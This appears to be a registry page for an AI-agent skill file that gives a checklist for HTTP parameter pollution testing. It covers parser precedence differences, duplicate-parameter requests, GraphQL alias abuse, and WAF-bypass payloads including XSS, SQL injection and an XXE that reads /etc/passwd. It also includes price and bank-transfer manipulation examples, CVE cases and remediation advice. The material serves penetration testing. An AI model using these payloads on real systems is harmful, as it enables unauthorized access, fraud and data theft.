offensive-parameter-pollution
Skill1 starsChanged 50 days agoMITView on GitHub
HTTP parameter pollution (HPP) checklist: duplicate parameter injection, backend vs frontend parsing differences, WAF bypass via HPP, server-side vs client-side HPP, and practical exploitation patterns. Use when testing web applications for parameter handling flaws.
2 other projects use a version of this, 2 of them edited.
Adopted by
Most recently taken up by
- ajtazer/heckitedited, first seen Sep 11, 2026
- SnailSploit/Claude-Rededited, first seen Aug 6, 2026
Other versions2 projects use a version of this.
Word for word · 0
None found.
Edited · 2
- SnailSploit/Claude-Red★ 7.5k94% same
- ajtazer/heckit★ 294% same
Wrote their own version · 0
None found.
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository78 other files it gives its agents.
- offensive-active-directorySkill
- offensive-netexecSkill
- offensive-ai-securitySkill
- offensive-api-abuseSkill
- offensive-api-securitySkill
- offensive-jwtSkill
- offensive-oauthSkill
- offensive-cicd-pipelineSkill
- offensive-cicd-secretsSkill
- offensive-cloudSkill
- offensive-container-escapeSkill
- offensive-k8s-attacksSkill
- offensive-crypto-attacksSkill
- offensive-tls-attacksSkill
- offensive-basic-exploitationSkill
- offensive-crash-analysisSkill
- offensive-exploit-dev-courseSkill
- offensive-exploit-developmentSkill
- offensive-mitigationsSkill
- offensive-toctouSkill
- offensive-anti-forensicsSkill
- offensive-c2-frameworksSkill
- offensive-bug-identificationSkill
- offensive-fuzzing-courseSkill
- offensive-fuzzingSkill
- offensive-vuln-classesSkill
- offensive-advanced-redteamSkill
- offensive-edr-evasionSkill
- offensive-initial-accessSkill
- offensive-keylogger-archSkill
- offensive-shellcodeSkill
- offensive-windows-boundariesSkill
- offensive-windows-mitigationsSkill
- offensive-iotSkill
- offensive-mobileSkill
- offensive-network-attacksSkill
- offensive-data-exfiltrationSkill
- offensive-lateral-movementSkill
- offensive-persistenceSkill
- offensive-linux-privescSkill
- offensive-windows-privescSkill
- offensive-osint-methodologySkill
- offensive-osintSkill
- offensive-phishingSkill
- offensive-social-engineeringSkill
- offensive-dependency-confusionSkill
- offensive-supply-chainSkill
- offensive-fast-checkingSkill
- offensive-reportingSkill
- offensive-business-logicSkill
- offensive-deserializationSkill
- offensive-file-uploadSkill
- offensive-graphqlSkill
- offensive-idorSkill
- offensive-open-redirectSkill
- offensive-race-conditionSkill
- offensive-rceSkill
- offensive-request-smugglingSkill
- offensive-sqliSkill
- offensive-ssrfSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
11 rules. About 0 are common, 8 are distinctive, and 3 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈8
Distinctive · estimate
This author's own choices. Worth a look.
3
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 67
Test duplicate parameters with different values:
- Distinctive: line 82
Parameter Overriding: Search for places where parameters might be overridden
- Distinctive: line 103
Add duplicate parameters with different values:
- Very specific: line 235
Test with param=a¶m=b (no brackets)
- Very specific: line 236
Test with param[]=a¶m[]=b (array notation)
- Very specific: line 237
Test with param[0]=a¶m[1]=b (indexed)
- Distinctive: line 390
Test each parameter with duplicates to observe behavior
- Distinctive: line 391
Document how different application components handle parameter duplication
- Distinctive: line 504
Test each social platform separately
- Distinctive: line 505
Verify if malicious content appears in share preview
- Distinctive: line 566
Schema Enforcement: Use JSON Schema/OpenAPI validation to reject duplicates and unexpected fields
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
HTTP Parameter Pollution (HPP)
Mechanisms
HTTP Parameter Pollution (HPP) is a web attack technique that exploits how web applications and servers handle multiple occurrences of the same parameter name. When a web application receives duplicate parameters, different technologies process them differently:
flowchart TD
subgraph "HTTP Parameter Pollution"
A[Multiple occurrences of same parameter] --> B{Server Technology}
B -->|ASP.NET/IIS| C[Uses first occurrence]
B -->|PHP/Apache| D[Uses last occurrence]
B -->|JSP/Tomcat| E[Uses first occurrence]
B -->|Perl CGI| F[Concatenates with comma]
B -->|Python/Flask| G[Builds array of values]
B -->|Node.js/Express| H[Uses first occurrence]
endParameter Handling Behaviors
- ASP.NET/IIS: Uses the first occurrence of the parameter
- PHP/Apache: Uses the last occurrence of the parameter
- JSP/Tomcat: Uses the first occurrence of the parameter
- Perl CGI/Apache: Concatenates all occurrences with a comma delimiter
- Python/Flask: Builds an array of values
- Node.js/Express: Uses the first occurrence by default
Notes and modern caveats
- Node.js
expressuses eitherquerystring(first-wins) orqs(arrays/last-wins).app.set('query parser', 'extended')changes behavior. Many middlewares assumeparam[]=a¶m[]=bfor arrays; duplicates without[]can produce surprising results. - Spring MVC/Spring Boot binders often collect duplicates into lists; API gateways (Kong, APIGEE, NGINX, Cloudflare) may collapse/normalize differently than backends.
- JSON duplicate keys: most parsers accept last-wins; some gateways reject duplicates while backends accept, creating precedence gaps.
- Cookies: duplicate cookie names and comma/semicolon handling vary by proxies/agents.
HPP attacks leverage these inconsistencies in parameter handling across application layers, servers, proxies, and frameworks. Two main types of HPP exist:
- Server-side HPP: Exploiting the server's handling of multiple parameters
- Client-side HPP: Manipulating parameters that are later processed by client-side code
Hunt
Identifying HPP Vulnerabilities
sequenceDiagram
participant Attacker
participant WebApp
participant Backend
Attacker->>WebApp: Request with duplicate parameter<br/>param=safe¶m=malicious
Note over WebApp: Layer 1 processes first value
WebApp->>Backend: Forward request to backend
Note over Backend: Layer 2 processes last value
Backend->>WebApp: Process with malicious value
WebApp->>Attacker: ResponseTesting Parameter Handling
- Identify forms and request parameters
Test duplicate parameters with different values:
// Original request https://example.com/search?param=value1 // Test request https://example.com/search?param=value1¶m=value2- Observe application behavior
- Identify which value is used (first, last, concatenated)
Vulnerable Scenarios
- Parameter Overriding: Search for places where parameters might be overridden
- Request Proxies: Applications forwarding requests to other services
- Query String Processing: Applications that process query strings manually
- Multiple-Layer Processing: Applications where parameters pass through multiple layers
- OAuth/SAML Flows: Authentication flows where parameters may be manipulated
Testing Techniques
URL Parameter Pollution
# Original URL
https://target.com/page?parameter=original_value
# Polluted URL
https://target.com/page?parameter=original_value¶meter=malicious_valueForm Parameter Pollution
- Intercept a legitimate form submission
Add duplicate parameters with different values:
// Original POST body parameter=original_value // Modified POST body parameter=original_value¶meter=malicious_value
Hybrid Parameter Pollution
Combining parameters in both URL and POST body:
// URL
https://target.com/page?parameter=url_value
// POST body
parameter=body_valueJSON Parameter Pollution
Testing duplicate keys in JSON objects:
{
"parameter": "value1",
"parameter": "value2"
}Also test:
Cookie: role=user; role=admin
X-Role: user
X-Role: adminObserve which value the application trusts.
GraphQL Parameter Pollution
GraphQL queries can be polluted through aliasing, batch mutations, and duplicate variables:
# Alias pollution - bypass rate limits
query {
a: user(id: 1) {
name
email
}
b: user(id: 2) {
name
email
}
c: user(id: 3) {
name
email
}
# ... repeat to z or beyond
}
# Variable pollution
query ($id: Int!, $id: Int!) {
user(id: $id) {
name
}
}
# Batch mutation pollution
mutation {
a: redeemCoupon(code: "SAVE50") {
success
}
b: redeemCoupon(code: "SAVE50") {
success
}
c: redeemCoupon(code: "SAVE50") {
success
}
}WebSocket Parameter Pollution
WebSocket connections can carry polluted parameters in the upgrade request or message payloads:
GET /chat HTTP/1.1
Host: vulnerable.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
# URL with polluted params
ws://vulnerable.com/chat?token=valid&token=malicious&room=1&room=admin// WebSocket message payload pollution
{
"action": "sendMessage",
"room": "public",
"room": "admin",
"message": "test"
}Parameter Array Notation Pollution
Different frameworks handle array notation differently, creating pollution opportunities:
# PHP - expects brackets
param[]=value1¶m[]=value2
# Express (qs parser) - bracket optional
param=value1¶m=value2
# Rails - numeric indices
param[0]=value1¶m[1]=value2
# Mixed notation confusion
param=single¶m[]=array1¶m[0]=indexedTesting strategy:
- Test with
param=a¶m=b(no brackets) - Test with
param[]=a¶m[]=b(array notation) - Test with
param[0]=a¶m[1]=b(indexed) - Mix notations to confuse parsers
Parameter Cloaking
Using encoding and case variations to bypass filters:
# URL encoding variations
param=value1&par%61m=value2
param=value1&PARAM=value2
# Double/triple encoding
param=value1&par%2561m=value2
# Unicode normalization
param=value1&pαram=value2 # Greek alpha instead of 'a'
# Null byte injection (legacy)
param=value1¶m%00=value2Vulnerabilities
Common HPP Vulnerabilities
graph LR
subgraph "HPP Attack Vectors"
A[HTTP Parameter Pollution] --> B[Access Control Bypass]
A --> C[Request Forgery Enhancement]
A --> D[Data Manipulation]
A --> E[API Vulnerabilities]
B --> B1[Parameter Override]
B --> B2[Permission Escalation]
C --> C1[CSRF Token Bypass]
C --> C2[SSRF Augmentation]
D --> D1[SQL Query Manipulation]
D --> D2[Filter Evasion]
E --> E1[Parameter Precedence]
E --> E2[OAuth Manipulation]
endAccess Control Bypass
- Parameter Override: Overriding security-related parameters
https://example.com/admin?access=false&access=true - Permission Escalation: Adding administrative parameters
https://example.com/profile?user=victim&user=admin
Request Forgery Enhancement
- CSRF Token Bypass: Duplicating anti-CSRF tokens
https://example.com/transfer?token=valid_token&token=random_value&amount=1000 - SSRF Augmentation: Overriding restricted URLs
https://example.com/fetch?url=safe.com&url=internal.server
Data Manipulation
- SQL Query Manipulation: Influencing SQL queries
https://example.com/products?category=1&category=1 OR 1=1 - Filter Evasion: Bypassing input filters
https://example.com/search?q=safe_value&q=<script>alert(1)</script>
API Vulnerabilities
- Parameter Precedence Confusion: Different parameter precedence between API gateway and backend
- GraphQL Parameter Pollution: Duplicate variables in GraphQL queries
- OAuth Parameter Manipulation: Manipulating OAuth redirect flows
- Header/Cookie Pollution: Conflicting header values across CDN → WAF → app layers
Impact Scenarios
Authentication Bypass
# Application authenticates using the first parameter but authorizes using the last
https://example.com/login?role=user&role=adminWAF Bypass
# WAF checks the first parameter, backend processes the last
https://example.com/search?q=safe&q=<script>alert(1)</script>XML External Entity (XXE) via HPP
# Bypassing XML filtering by parameter pollution
https://example.com/upload?xml=safe&xml=<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>API Gateway vs Backend Precedence
# Gateway picks first id, backend picks last id -> IDOR/AC bypass
/api/user?id=123&id=999Methodologies
Tools
- Burp Suite Pro: Parameter pollution testing via Repeater and Intruder
- OWASP ZAP: HTTP fuzzer for parameter testing
- Param Miner: Extension for discovering hidden parameters
- HPP Finder: Specialized tool for HPP vulnerability detection
- Burp Repeater (Parallel): Validate precedence across layers quickly
- Schemathesis: Fuzz OpenAPI-defined endpoints for duplicate-field handling
Testing Methodology
flowchart TD
A[HPP Testing Methodology] --> B[Initial Discovery]
A --> C[Exploit Development]
A --> D[Impact Assessment]
B --> B1[Map application parameters]
B --> B2[Test duplicate parameters]
B --> B3[Document behavior]
C --> C1[Access control testing]
C --> C2[Security control bypass]
C --> C3[API security testing]
D --> D1[Authentication bypass]
D --> D2[Authorization bypass]
D --> D3[Data manipulation]Initial Discovery
- Map all application parameters (URL, form, cookie, header)
- Test each parameter with duplicates to observe behavior
- Document how different application components handle parameter duplication
Exploiting HPP for Web Application Testing
Access Control Testing:
# Test privileged parameter override https://example.com/admin?admin=false&admin=true # Test user context override https://example.com/profile?id=attacker&id=victimSecurity Control Bypass:
# Test CSRF token pollution token=legitimate&token=fake # Test parameter validation bypass param=valid_value¶m=malicious_valueAPI Security Testing:
# Test API parameter handling /api/v1/user?id=123&id=456 # Test with different content types Content-Type: application/json {"id": "123", "id": "456"}HTTP Request Smuggling via HPP:
# Testing inconsistent interpretation Transfer-Encoding: chunked Transfer-Encoding: identity- Header/Cookie Pollution:
Cookie: session=abc; session=attacker
X-Forwarded-Proto: http
X-Forwarded-Proto: httpsReal-World Test Cases
E-commerce Application Testing
# Price manipulation
https://shop.com/checkout?price=100&price=1
# Quantity override
https://shop.com/cart?quantity=1&quantity=100Banking Application Testing
# Amount parameter pollution
https://bank.com/transfer?amount=100&amount=10000
# Recipient override
https://bank.com/transfer?to=legitimate&to=attackerCMS Admin Testing
# Permission bypass
https://cms.com/edit?permission=read&permission=write
# User impersonation
https://cms.com/admin?user=admin&user=victimSocial Sharing Button Parameter Pollution
A specific case of parameter pollution that affects social sharing functionality:
Testing Methodology:
# Original share URL https://target.com/article # Polluted share URL https://target.com/article?u=https://attacker.com&text=malicious_text- Common Parameters:
uorurl: The URL to be sharedtext: Custom text for the sharetitle: Title of the shared contentdescription: Description for the shared content
- Impact:
- Redirect users to malicious sites
- Modify shared content
- Social engineering attacks
- Brand reputation damage
- Testing Steps:
- Identify social sharing functionality
- Analyze original share parameters
- Append malicious parameters
- Test each social platform separately
- Verify if malicious content appears in share preview
Real-World Cases and CVEs
Notable Parameter Pollution Vulnerabilities
- CVE-2021-41773 - Apache HTTP Server Path Traversal:
- Parameter pollution in URL path normalization
- Multiple encoded path segments bypassed access controls
- Impact: Remote code execution via CGI scripts
- CVE-2018-8033 - Apache OFBiz:
- Parameter pollution in authentication bypass
- Duplicate parameters in login form bypassed security checks
- Impact: Administrative access without credentials
- HPP in OAuth Implementations (Multiple Vendors):
- Duplicate
redirect_uriparameters in OAuth flows - Gateway checked first parameter, backend used last
- Impact: Account takeover via malicious redirect
- Duplicate
- API Gateway vs Backend Precedence (Bug Bounty):
- AWS API Gateway processed first
idparameter - Backend Lambda function processed last
idparameter - Impact: IDOR allowing access to other users' data
- AWS API Gateway processed first
- GraphQL Rate Limit Bypass (Multiple Platforms):
- Aliased queries bypassed per-query rate limits
- 100+ identical operations in single request
- Impact: Account enumeration, resource exhaustion
- WAF Bypass via HPP (Generic):
- WAF inspected first parameter for XSS/SQLi
- Backend processed last parameter
- Impact: Complete WAF bypass for injection attacks
Impact Ratings
- Critical: HPP enables authentication/authorization bypass or RCE
- High: HPP allows WAF bypass, payment manipulation, or privilege escalation
- Medium: HPP bypasses rate limiting or validation controls
- Low: HPP causes logic errors with minimal security impact
Common Bug Bounty Targets
- E-commerce checkout flows (price/quantity parameters)
- OAuth/SAML redirect parameters
- API endpoints with pagination/filtering
- File upload with filename/path parameters
- Social sharing functionality
- Payment processing integrations
- Multi-step wizards/forms
Remediation Recommendations
- Consistent Parameter Handling: Implement consistent handling across all application layers
- Parameter Validation: Validate parameters before processing
- Framework Awareness: Understand how your framework handles duplicate parameters
- Web Application Firewall: Configure WAF to detect parameter pollution attempts
- API Gateway Rules: Implement rules to reject duplicate parameters
- Canonicalization: Convert parameters to a standard form before processing
- Schema Enforcement: Use JSON Schema/OpenAPI validation to reject duplicates and unexpected fields
- Drop Duplicates at the Edge: Normalize parameters at CDN/API gateway and log events
- Explicit Parser Settings: e.g., in Express set a custom query parser and explicitly forbid duplicates without
[]suffix for arrays - GraphQL Query Complexity Limits: Enforce maximum query depth and alias counts
- WebSocket Frame Validation: Parse and validate WS message structures consistently with HTTP parameter handling
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

